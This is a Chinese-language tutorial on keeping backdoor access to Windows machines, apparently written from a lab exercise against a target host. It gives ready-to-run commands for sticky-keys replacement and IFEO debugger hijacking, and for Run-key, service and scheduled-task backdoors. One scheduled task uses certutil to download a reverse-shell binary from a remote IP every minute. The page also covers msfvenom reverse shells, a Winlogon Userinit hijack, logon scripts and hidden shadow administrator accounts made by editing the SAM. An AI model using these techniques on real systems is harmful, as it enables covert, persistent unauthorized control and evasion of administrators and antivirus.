跳到主要内容

windows权限维持

1.辅助功能后门

为了使电脑更易于使用和访问,Windows添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows+U组合键时启动的utilman.exe程序。

屏幕键盘:c:\windows\system32\osk.exe
放大镜:c:\windows\System32\Magnify.exe
旁白:c:\windows\system32\Narrator.exe
显示切换器c:\windows\system32\Displayswitch.exe
应用切换器:c:\windows\system32\AtBroker.exe

在较早的Windows版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe

windows2003、XP可以可视化界面更换也可以命令行更换

copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

2.IFEO映像劫持

在高版本的windows版本中替换的文件受到了系统的保护,所以需要进行“映像劫持”,可以理解为当打开a.exe程序实际打开的却是b.exe程序,那么a程序就是被b程序劫持了"映像劫持”,也被称为IFEO(ImageFileExecutionOptions),是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的,对一般用户意义不大,默认是只有管理员和local system有权读写修改。

注册表的位置:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/windows NT/currentVersion/Image File Execution options

映像劫持的制作过程

  1. 在注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windowsNT\CurrentVersion\Image File Execution Option 下添加一个项sethc.exe

    image-20221109190626463

  2. 在新建的项中添加debugger键,键值设置为恶意程序的路径

    image-20221109190748423

其他可以劫持的程序:

  • 设置中心:C:\Windows\System32\utilman.exe,快捷键:Windows+U
  • 屏幕键盘:C:\Windows\System32\osk.exe
  • 放大镜:C:\Windows\System32\Magnify.exe,快捷键:Windows+加减号

按五下shift触发sethc.exe

image-20221109190917379

劫持成功

还可以使用命令劫持设置中心

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

image-20221109211736605

WINDOWS+U 触发

image-20221109211750065

3.启动项/服务后门

开始菜单启动项

开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:

C:\Users\ICHUNQIU\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup #AppData为隐藏文件

注册表相关键值

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

# Winlogon\Userinit键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

启动项注册表后门

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_CURRENT_USER的改动不需要管理员权限

开始菜单启动项示例:

将msf生成的反弹shell文件上传至系统启动文件(C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)中。PS:AppData为隐藏文件

image-20221109210202859

重启靶机系统,发现msf上线机器

image-20221109210759852

4.自启动服务后门

在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE可执行文件注册为服务实现后门持久化。

可以通过如下命令行方式添加一个服务

sc create "winupdate" binpath= "C:\windows\system32\cmd.exe" #添加服务名为winupdate,指定运行文件为C:\windows\system32\cmd.exe,注意等号后要有空格
sc description "winupdate" "description" #设置服务的描述字符串
sc config "winupdate" start= auto #设置这个服务为自动启动
net start "winupdate" #启动服务

删除服务 sc delete "winupdate"

自启动服务后门示例:

先利用msf生成一个windows的反弹shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.144 lport=4444 -f exe -o rev.exe

将rev.exe上传到靶机中,msf启动监听

handler -H 0.0.0.0 -P 4444 -p windows/x64/meterpreter/reverse_tcp

添加一个服务名为winupdate的服务,指定运行文件为C:\windows\system32\cmd.exe

sc create "winup" binpath= "cmd.exe /k C:\Users\Administrator\Desktop\rev.exe"

image-20221109200900824

设置服务描述字符串(可选)和自启动

sc description "winup" "description"
sc config "winup" start= auto

image-20221109201000092

最后测试启动服务

net start "winup"

msf上线,反弹回来的为system权限

image-20221109195615388

利用完后可以删除服务

image-20221109201125459

5.系统计划任务后门

Windows实现定时任务主要有schtasks与at二种方式:

At 适用于windows xp/2003

Schtasks适用于win7/2008或者以后

schtasks /create /sc minute /mo 1   /tn "update" /tr C:\Windows\System32\cmd.exe

schtasks /create /sc minute /mo 1 /tn "update" /tr "C:\Windows\System32\certutil.exe -urlcache -split -f http://192.168.172.136:9090/rev.exe c:\rev.exe" #创建下载远控的计划任务

schtasks /create /sc minute /mo 1 /tn "update" /tr "cmd.exe /c start /b c:\rev.exe" #创建后台执行计划的计划任务

每1分钟执行一次

image-20221109211832593

image-20221109211842078

删除计划任务

schtasks /delete /tn 计划任务名 /f
schtasks /delete /tn * /f

系统计划任务后门示例:

首先将msf生成的rev反弹shell文件上传至靶机

接着在靶机创建后台执行计划的计划任务

schtasks /create /sc minute /mo 1   /tn "update" /tr "cmd.exe /c start /b c:\rev.exe"

image-20221109202001311

等待一会后msf上线靶机(权限为administrator)

image-20221109201851064

6.Winlogon用户登录初始化

winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中:

HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

windows登录认证流程

winlogon 提供输入框 输入用户名和密码

lsass 将用户名和明文密码,保存到内存中,将明文密码利用windows的hash算法加密成hash值

从windows的sam中查询该用户的hash值与输入后生成的hash值比对,比对成功就认证成功。

对这些注册表项的恶意修改可能导致 Winlogon 加载和执行可执行文件。 命令行:

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f先删除原有键值

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe" /f再新添加键值

image-20221109211858768

7.Logon Scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表位置:

HKEY_CURRENT_USER\Environment

在注册表下添加键UserInitMprLogonScript

值为C:\\UserInitMprLogonScript.bat

@echo off
@echo # 'UserInitMprLogonScript'
@if exist c:\UserInitMprLogonScript.log @del c:\UserInitMprLogonScript.log
@echo UserInitMprLogonScript executed !> c:\UserInitMprLogonScript.log
@pause

使用该bat脚本进行测试。

8.影子用户

影子用户即创建的隐藏用户,它无法通过普通命令进行查询,比较隐蔽。

1.先利用命令创建一个隐藏用户,并将其加入本地管理员组。

net user test$ 123.com /add
net localgroup administrators test$ /add

添加的test$用户在netuser命令下是看不到的,但是在管理界面下可以看到

image-20221109202724604

image-20221109203824599

2.修改注册表

在注册表中打开 HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/ 选项,点击Names菜单,可以看到计算机中所有的账户名称

tips:如果进入SAM后无法再看到里面的子选项,需要给予administrators完全控制权限(sam文件夹),并重新进入注册表

image-20221109203421042

3.修改注册表的键值

将administrator用户对应的项中的F值复制到 test$ 对应项中的F值,然后保存

image-20221109203554419

image-20221109203632454

4.导出注册表

将Names中的 test$ 和 对应的 Users 中的目录进行右键导出

5.删除test$

将创建的隐藏账号 test$ 删除

image-20221109204017326

6.导入注册表

双击刚才导出的两个注册表,影子账户就创建完成了image-20221109204052035

7.查看影子账户是否创建成功,只有在注册表中才能查看该账户

image-20221109204810280